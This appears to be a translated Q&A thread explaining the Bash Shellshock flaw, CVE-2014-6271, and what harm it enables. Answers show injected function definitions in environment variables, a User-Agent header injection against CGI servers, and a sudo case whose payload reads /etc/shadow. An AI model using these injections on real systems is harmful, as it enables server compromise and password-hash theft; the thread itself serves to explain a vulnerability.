CVE-2014-6271 Exemplo de Vulnerabilidade no Bash [duplicado]

4

Estou tentando entender qual pode ser a preocupação de segurança de CVE-2014-6271 e todos os links que vejo apenas me fornecem o comando abaixo.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Se eu obtiver a saída como

vulnerable
this is a test

Isso significa que meu shell bash é vulnerável.

Mas de que maneira isso está relacionado à segurança? Em outras palavras, que mal poderia ser feito ao meu sistema?

    
por Ramesh 25.09.2014 / 06:58

3 respostas

4

A preocupação de segurança é que, se um bash for iniciado com um conjunto de variáveis de ambiente malicioso, esse bash executará o código na variável.

Por exemplo, digamos que você tenha um servidor da Web que chame /bin/foo bar . Vamos dizer que este aplicativo foo também usa uma variável de ambiente chamada baz , e o valor dessa variável vem da entrada fornecida pelo usuário. Portanto, o aplicativo do servidor da web define o ambiente e, em seguida, concede a saída para foo bar . Bem, quando bash ler as variáveis de ambiente, se essa variável fornecida tiver código malicioso, bash executará a variável.

Normalmente isso não é uma preocupação. Variáveis de ambiente devem ser completamente seguras. Se o aplicativo que usa essa variável se comportar mal, isso é outra questão. Mas bash não usa a variável baz na situação acima.

Por exemplo:

testscript.sh

export BAZ='() { :;}; echo MALICIOUS CODE'
echo starting sleep
/bin/bash -c 'sleep 1'

Ao executá-lo, obtemos o seguinte

$ /bin/dash testscript.sh
starting sleep
MALICIOUS CODE

Então, simplesmente tendo esse conjunto de variáveis, podemos obter o bash para executar código arbitrário.

Aqui está outro exemplo que não usa shell explícito e não faz menção ao bash:

$ perl -e '$ENV{"BAZ"}="() { :;}; echo MALICIOUS CODE"; print("starting sleep\n"); system("/bin/sleep 1;");'
starting sleep
MALICIOUS CODE

(para que isso funcione, /bin/sh precisa ser bash)

    
por 25.09.2014 / 07:17
0

Esses caras explicam como você pode injetar código no processo CGI do servidor web. Funciona basicamente configurando o useragent de um pedido de tal forma que ele contenha o código de exploração:

link

'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'

Quando esse ataque for bem-sucedido, você poderá obter acesso ao servidor da Web com privilégios de servidor da Web e todo o seu conteúdo será considerado comprometido.

    
por 25.09.2014 / 09:12
0

Ele também funciona via sudo se env_reset estiver desabilitado (ele está ativado por padrão pelo menos no Debian)

Defaults env_reset

mas se for alterado para

Defaults !env_reset (já vi isso em vários sistemas no passado !!!)

então

sudo Y='() { disabled; }; /bin/cat /etc/shadow;' /tmp/zomg.sh

root: $ 6 $ ...... '
seg culpa aqui

arquivo sudoers contém:

alinh ALL = / tmp / zomg.sh

    
por 25.09.2014 / 08:29